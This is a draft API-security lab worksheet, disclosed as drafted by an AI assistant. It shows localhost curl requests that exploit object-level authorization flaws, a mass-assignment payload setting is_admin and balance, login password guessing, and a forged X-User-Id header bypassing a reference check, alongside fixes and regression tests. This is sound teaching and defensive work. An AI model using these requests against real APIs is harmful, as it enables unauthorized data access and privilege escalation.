Worksheet 10 - API Security

Part 1 - Student Information

Name: Danaiphong Songsikhwa Student ID: 6631503106 Date: 23 October 2026 (Asia/Bangkok) Group: Not provided - student to complete if required. Branch: wk10_6631503106

Status: Draft - real terminal screenshots and student review are still required.

AI disclosure: Codex read the lab instructions, drafted the English answers, wrote the additional defense and regression tests, and ran the local lab commands. The results below were collected by the assistant on this machine. The student still needs to review the explanations, reproduce the steps, and add their own screenshots. This report does not claim independent student authorship.

Part 2 - Lecture Questions

1. What is BOLA, and why cannot a WAF reliably stop it?

BOLA means Broken Object Level Authorization. It happens when the API accepts an object ID but does not check whether the current user can access that object. It is ranked API1 because object IDs appear in many endpoints and a simple ID change can expose other users' data. A WAF usually sees a normal request such as `/api/users/3/orders`; it does not know the application's ownership rules.

2. What is mass assignment? Blocklist versus allow-list?

Mass assignment happens when the server copies client input directly into a user or another data object. An attacker can include fields such as `is_admin` that a normal user should not control. A blocklist rejects known dangerous fields, so a new sensitive field might be missed. An allow-list accepts only approved fields, such as `username` and `password`, and ignores everything else.

3. Two impacts of an unthrottled login endpoint

The security impact is password guessing: an attacker can try many passwords until one works and take over an account. The availability impact is resource exhaustion: many requests use CPU, connections, and database work, especially when password hashing is expensive. Real users may then face slow responses or a service outage.

4. Why is X-User-Id not authentication?

The client can change this header to any user ID, including Carol's admin ID. The server has no proof that the request comes from that user. Replace it with a verified session or token created after a successful login, and get the user ID from that trusted session. Even the course reference still trusts this header, so its ownership check is only a demonstration until authentication is fixed.

5. Why check authorization per request and per object?

Logging in only proves identity; it does not give permission to read every object. A user can request a different ID after login, and roles or ownership may change over time. Each request must check the current identity against the specific object and the current access rules on the server.

Part 3 - Hands-on Lab

All requests targeted the supplied APIs on localhost. Port 8080 is deliberately insecure, 8081 is the course reference, and 8082 is the additional student defense. Full commands and raw HTTP responses appear in Appendix A and in the evidence text files. Screenshots are pending; see SCREENSHOTS.md.

Task 0 - Onboarding

Both root requests returned HTTP 200. Port 8080 returned `Week 10 INSECURE API - see attack.md` (the actual raw response uses a Unicode dash). Port 8081 returned `Week 10 SECURE API`.

User	ID	Balance	Admin
alice	1	100	false
bob	2	50	false
carol	3	9999	true

The table comes from the seeded source data, not an invented user-list endpoint. The insecure service is intentionally open for the lab. Keep it local and apply the API1, API3, and API4 controls before using similar code for a real service.

Task 1 - BOLA: read another user's orders

`GET :8080/api/users/3/orders` returned HTTP 200 without any credentials. The response included Carol's order `C-1`, item `Server rack`, total `5000`, plus the local demonstration flag. Changing the ID to 2 returned Bob's order `B-1`, item `Mouse`, total 15.

On port 8081, no identity returned 401; `X-User-Id: 1` requesting Carol returned 403; the same header requesting Alice returned 200 with the Keyboard order. The full transcript is in Appendix A.

Mitigation: This is API1:2023 because the endpoint does not check who owns the requested orders. Check the caller's identity and ownership on every request, with a separate explicit admin rule. Use a verified identity, because a client-controlled header can bypass the reference check.

Task 2 - Mass assignment

The exact payload was `{"username":"mallory","password":"x","is_admin":true,"balance":1000000}`.

Result	Insecure :8080	Reference :8081
HTTP status	201	201
is_admin	true	false
balance	1000000	0
extra flag	local demo flag	none

Both APIs created user ID 4 during the initial run. The insecure API accepted the role and balance supplied by the attacker. The reference ignored these fields and set safe values itself; it did not reject the whole request.

Mitigation: This is API3:2023, Broken Object Property Level Authorization. Bind only allowed input fields, then set ID, role, and balance on the server. Also validate field types and do not return or

store plaintext passwords, which the teaching reference still does.

Task 3 - Missing login throttle

On port 8080, the guesses `wrong1`, `wrong2`, and `wrong3` each returned 401; `alice123` returned 200. All four guesses were processed. On port 8081, seven wrong-password requests returned exactly `401 401 401 401 401 429 429`.

Mitigation: This is API4:2023 because login requests can consume resources without a limit. Limit attempts within a time window and return HTTP 429 when the limit is exceeded. A real deployment should also consider per-account and global controls, since a per-IP limiter can be bypassed by multiple IPs or can affect users sharing one network.

Task 4 - Optional crAPI bonus

Not attempted. The graded target was the supplied local API. No bonus flag, endpoint result, or screenshot is claimed. The local flags `FLAG{bola_demo}` and `FLAG{massassign_demo}` are demo values, not personalized CTF flags.

Task 5 - Defend / fix it

These line numbers refer to the unchanged `labs/week10-api-security/solution_api.py` in this branch.

API1: The insecure request read Carol's orders without permission. Lines 48-49 return 401 if no caller is found. Lines 51-52 are the object ownership check:

```
if caller["id"] != uid and not caller["is_admin"]:
    return jsonify({"error": "forbidden"}), 403
```

Alice reading Carol now receives 403, while Alice reading Alice receives 200. This assumes a trustworthy caller identity; the reference's header-based identity is still forgeable.

API3: The insecure creation request set `is_admin` and `balance`. Line 34 defines `ALLOWED_CREATE_FIELDS = {"username", "password"}`. Lines 62 and 66 bind only these fields and override sensitive values:

```
user = {k: body[k] for k in ALLOWED_CREATE_FIELDS if k in body}
user.update({"id": _next_id, "balance": 0, "is_admin": False})
```

The reference still returns 201, but the new account is not admin and has balance 0. Success status does not mean the privilege escalation succeeded.

API4: The insecure login processed every guess. Lines 73-74 define the limit, lines 80-83 prune old attempts and count new ones, and lines 89-90 reject a blocked request:

```
RATE_LIMIT = 5
RATE_WINDOW = 60
if rate_limited(request.remote_addr or "unknown"):
    return jsonify({"error": "too many requests"}), 429
```

The sixth and seventh requests now return 429 within the same window.

Additional implementation: `defended_api.py` keeps these three controls, replaces the identity header with random server-side bearer sessions that expire after 900 seconds, hashes passwords, validates JSON fields, limits body size, and does not return password data. The original vulnerable and reference APIs are retained for comparison. Six regression tests passed, including forged identity, cross-user access, expired sessions, mass assignment, malformed input, and the rate window. This is still a local, single-process teaching service; in-memory users, sessions, and rate counters reset on restart.

Local code commit: `8286b6e244d83dd81f624c03098260a40bf2bdc1`. This commit is saved on `wk10_6631503106`; the branch has not been pushed and no PR has been opened. See CODE_COMMIT.txt for the planned remote URL.

Part 4 - Reflection

1. Finding mapping

Finding	Endpoint	OWASP API ID	Fix
Other users' orders can be read	GET /api/users/<id>/orders	API1:2023	Verified identity plus ownership/admin check
User can set admin and balance	POST /api/users	API3:2023	Allow-list and server-controlled sensitive fields
Unlimited password guesses	POST /api/login	API4:2023	Five attempts per IP per 60 seconds
Forged identity header in reference	GET /api/users/<id>/orders	API2:2023	Verified expiring session instead of X-User-Id

2. Real breach - Optus

The Optus breach became public in September 2022. In its 8 August 2025 statement, Australia's OAIC described unauthorized access to millions of customers' personal data and recommended checking that requests for customer information are authorized [1].

For this lab, I map unauthorized access to other customers' objects to API1:2023. This is an analysis of the authorization failure pattern, not a claim that the source establishes a specific sequential-ID exploit. A correctly applied ownership check backed by verified authentication would stop a user reading another user's record through a protected endpoint. The reference check alone would not be enough because `X-User-Id` can be forged; all exposed routes also need protection.

3. Best mitigation

I would prioritize object-level authorization with verified authentication because it directly protects private user data across the API. Without it, an attacker can read sensitive records using normal-looking requests, even at a low rate. Allow-list binding and rate limiting still matter, since ownership checks do not stop unwanted field updates or login abuse.

Audit the AI

1. Full answer

The complete initial AI candidate is reproduced below. It was generated for this audit and deliberately reviewed as an incomplete candidate, rather than presented as student-authored work.

AI audit: complete initial candidate answer

Prompt: Give a minimal fix for the Week 10 BOLA endpoint, using the existing current_user helper.

AI-generated candidate (for review; incomplete):

Add authentication and an ownership check before returning orders:

```
@app.get("/api/users/<int:uid>/orders")
def get_orders(uid):
    caller = current_user()
    if caller is None:
        return jsonify({"error": "authentication required"}), 401
    if caller["id"] != uid and not caller["is_admin"]:
```

```
        return jsonify({"error": "forbidden"}), 403
    return jsonify(ORDERS.get(uid, []))
```

This blocks an unauthenticated caller and stops Alice, identified by X-User-Id: 1, from reading Carol's orders. Test no header, Alice reading Carol, and Alice reading Alice; the expected statuses are 401, 403, and 200.

End of initial candidate answer. This candidate was generated for this worksheet's AI audit. It is not a claim that a student wrote or independently verified it.

2. Risky line and counterexample

The risky advice is: "Add authentication and an ownership check before returning orders" while reusing `current_user()` without checking its trust model. In the helper, the exact problem is `return USERS.get(int(request.headers.get("X-User-Id", 0)))`. This accepts the identity chosen by the caller.

The candidate's limited test ladder passes, but `curl -i -H 'X-User-Id: 3' http://localhost:8081/api/users/3/orders` still returns 200 with Carol's order without a login. This was verified against the live reference; the transcript is in Appendix A. Passwords are also stored and returned in plaintext in the reference, and its limiter is in memory.

3. Corrected, verified version

The corrected implementation is `defended_api.py`, especially `current_user()`, `login()`, and `get_orders()`. It resolves identity from a server-issued, expiring random token after checking the password; it then checks ownership on every orders request. The initial AI output was insufficient because it assumed the identity helper was trustworthy and tested only the IDs suggested by the lab.

With the same forged `X-User-Id: 3` header, the additional defense returns 401. Regression tests also verify Alice's own access succeeds, Alice cannot read Carol's orders, an authenticated admin can read Bob's orders, and expired or fake tokens fail. These checks were performed by Codex; the student must review and reproduce them.

Comprehension & Prompt

A. Explain in Plain English

This API stores users and orders and provides routes for reading orders, creating users, and logging in. The insecure version lets anyone choose whose orders to read, copies powerful fields from the request, and accepts repeated password guesses. These problems happen because the server trusts input without checking identity, field permissions, or request frequency.

B. Final prompt

"Fix BOLA in this Flask teaching API. Keep vulnerable_api.py and solution_api.py unchanged, and add defended_api.py. Never trust X-User-Id or a user ID sent by the client as authentication. Verify the password at login and issue a random server-side bearer session with a 900-second lifetime; reject missing, fake, and expired tokens with 401. On every orders request, get identity and role from server-side state, return 403 for another user's orders unless the authenticated caller is an admin, and return 200 for the caller's own orders. Keep an allow-list of username and password for registration; validate JSON types, hash passwords, do not return password data, and set ID, role, and balance on the server. Keep five login attempts per IP per 60 seconds. Add runnable regression checks for header forgery, ownership/admin behavior, token expiry, mass assignment, bad bodies, and rate limiting, and state the limitations of an in-memory teaching implementation."

Verified result: the prompt was applied in this session to produce the additional implementation and tests. The forged identity header returned 401 on port 8082, while it returned 200 on the

reference. All six regression tests passed. This does not establish production security: shared session/rate storage, revocation, HTTPS, and broader abuse controls remain needed outside this lab.

Evidence & Integrity

No screenshots are included yet. Capture the listed tasks with the identity stamp visible; follow SCREENSHOTS.md. No personalized flag was issued or recovered during this local run. Review these AI-assisted answers and revise them to reflect your understanding before submission.

References

[1] OAIC, "Australian Information Commissioner takes civil penalty action against Optus", 8 August 2025. Accessed 23 October 2026. https://www.oaic.gov.au/news/media-centre/australian-information-commissioner-takes-civil-penalty-action-against-optus

[2] Local course materials: labs/week10-api-security/README.md, worksheet.md, attack.md, solution_api.py, vulnerable_api.py, and SUBMISSION.md.

Appendix A - Exact commands and raw HTTP responses

These are genuine terminal transcripts, not screenshots. The header dates are in GMT; the identity stamp uses Asia/Bangkok. Repeated user creation will get a different ID because the API stores state in memory.

Task 0 transcript

```
danaiphong | 6631503106 | 2026-10-23 21:54:03 +07

$ curl -sS -i http://localhost:8080/
HTTP/1.1 200 OK
Server: Werkzeug/3.1.9 Python/3.12.14
Date: Fri, 23 Oct 2026 14:54:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 38
Connection: close

Week 10 INSECURE API - see attack.md
$ curl -sS -i http://localhost:8081/
HTTP/1.1 200 OK
Server: Werkzeug/3.1.9 Python/3.12.14
Date: Fri, 23 Oct 2026 14:54:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 18
Connection: close

Week 10 SECURE API

Seed users from vulnerable_api.py:
alice | 1 | balance=100 | admin=false
bob | 2 | balance=50 | admin=false
carol | 3 | balance=9999 | admin=true
```

Task 1 transcript

```
danaiphong | 6631503106 | 2026-10-23 21:54:03 +07

$ curl -sS -i http://localhost:8080/api/users/3/orders
HTTP/1.1 200 OK
Server: Werkzeug/3.1.9 Python/3.12.14
Date: Fri, 23 Oct 2026 14:54:03 GMT
Content-Type: application/json
Content-Length: 112
Connection: close

[{"item":"Server
rack","order_id":"C-1","total":5000},{"item":"FLAG{bola_demo}","order_id":"C-FLAG","total":0}]
$ curl -sS -i http://localhost:8080/api/users/2/orders
HTTP/1.1 200 OK
```

```
Server: Werkzeug/3.1.9 Python/3.12.14
Date: Fri, 23 Oct 2026 14:54:03 GMT
Content-Type: application/json
Content-Length: 47
Connection: close

[{"item":"Mouse","order_id":"B-1","total":15}]
```

```
$ curl -sS -i http://localhost:8081/api/users/3/orders
HTTP/1.1 401 UNAUTHORIZED
Server: Werkzeug/3.1.9 Python/3.12.14
Date: Fri, 23 Oct 2026 14:54:03 GMT
Content-Type: application/json
Content-Length: 36
Connection: close

{"error":"authentication required"}
```

```
$ curl -sS -i -H X-User-Id:\ 1 http://localhost:8081/api/users/3/orders
HTTP/1.1 403 FORBIDDEN
Server: Werkzeug/3.1.9 Python/3.12.14
Date: Fri, 23 Oct 2026 14:54:03 GMT
Content-Type: application/json
Content-Length: 22
Connection: close

{"error":"forbidden"}


$ curl -sS -i -H X-User-Id:\ 1 http://localhost:8081/api/users/1/orders
```

```
HTTP/1.1 200 OK
Server: Werkzeug/3.1.9 Python/3.12.14
Date: Fri, 23 Oct 2026 14:54:03 GMT
Content-Type: application/json
Content-Length: 50
Connection: close

[{"item":"Keyboard","order_id":"A-1","total":30}]
```

Task 2 transcript

```
danaiphong | 6631503106 | 2026-10-23 21:54:03 +07

$ curl -sS -i -X POST http://localhost:8080/api/users -H Content-Type:\ application/json -d
\{\"username\":\"mallory\"\,\"password\":\"x\"\,\"is_admin\":true\,\"balance\":1000000\}
HTTP/1.1 201 CREATED
Server: Werkzeug/3.1.9 Python/3.12.14
Date: Fri, 23 Oct 2026 14:54:03 GMT
Content-Type: application/json
Content-Length: 110
Connection: close

{"balance":1000000,"flag":"FLAG{massassign_demo}","id":4,"is_admin":true,"password":"x","username":"mall
ory"}


$ curl -sS -i -X POST http://localhost:8081/api/users -H Content-Type:\ application/json -d
\{\"username\":\"mallory\"\,\"password\":\"x\"\,\"is_admin\":true\,\"balance\":1000000\}
HTTP/1.1 201 CREATED
Server: Werkzeug/3.1.9 Python/3.12.14
Date: Fri, 23 Oct 2026 14:54:03 GMT
Content-Type: application/json
Content-Length: 74
Connection: close

{"balance":0,"id":4,"is_admin":false,"password":"x","username":"mallory"}
```

Task 3 transcript

```
danaiphong | 6631503106 | 2026-10-23 21:54:03 +07

$ curl -sS -i -X POST http://localhost:8080/api/login -H Content-Type:\ application/json -d
\{\"username\":\"alice\"\,\"password\":\"wrong1\"\}
HTTP/1.1 401 UNAUTHORIZED
Server: Werkzeug/3.1.9 Python/3.12.14
Date: Fri, 23 Oct 2026 14:54:03 GMT
Content-Type: application/json
Content-Length: 13
Connection: close

{"ok":false}
```

```
$ curl -sS -i -X POST http://localhost:8080/api/login -H Content-Type:\ application/json -d
\{\"username\":\"alice\"\,\"password\":\"wrong2\"\}
HTTP/1.1 401 UNAUTHORIZED
Server: Werkzeug/3.1.9 Python/3.12.14
Date: Fri, 23 Oct 2026 14:54:03 GMT
Content-Type: application/json
Content-Length: 13
Connection: close

{"ok":false}
```

```
$ curl -sS -i -X POST http://localhost:8080/api/login -H Content-Type:\ application/json -d
\{\"username\":\"alice\"\,\"password\":\"wrong3\"\}
HTTP/1.1 401 UNAUTHORIZED
Server: Werkzeug/3.1.9 Python/3.12.14
Date: Fri, 23 Oct 2026 14:54:03 GMT
Content-Type: application/json
Content-Length: 13
Connection: close

{"ok":false}
```

```
$ curl -sS -i -X POST http://localhost:8080/api/login -H Content-Type:\ application/json -d
\{\"username\":\"alice\"\,\"password\":\"alice123\"\}
HTTP/1.1 200 OK
Server: Werkzeug/3.1.9 Python/3.12.14
Date: Fri, 23 Oct 2026 14:54:03 GMT
Content-Type: application/json
Content-Length: 41
Connection: close

{"is_admin":false,"ok":true,"user_id":1}
```

```
$ seven wrong-password attempts to http://localhost:8081/api/login
401
401
401
401
401
429
429
```

Task audit transcript

```
danaiphong | 6631503106 | 2026-10-23 21:54:03 +07

$ curl -sS -i -H X-User-Id:\ 3 http://localhost:8081/api/users/3/orders
HTTP/1.1 200 OK
Server: Werkzeug/3.1.9 Python/3.12.14
Date: Fri, 23 Oct 2026 14:54:03 GMT
Content-Type: application/json
Content-Length: 55
Connection: close

[{"item":"Server rack","order_id":"C-1","total":5000}]
```

```
$ curl -sS -i -H X-User-Id:\ 3 http://localhost:8082/api/users/3/orders
HTTP/1.1 401 UNAUTHORIZED
Server: Werkzeug/3.1.9 Python/3.12.14
Date: Fri, 23 Oct 2026 14:54:03 GMT
Content-Type: application/json
Content-Length: 36
Connection: close

{"error":"authentication required"}
```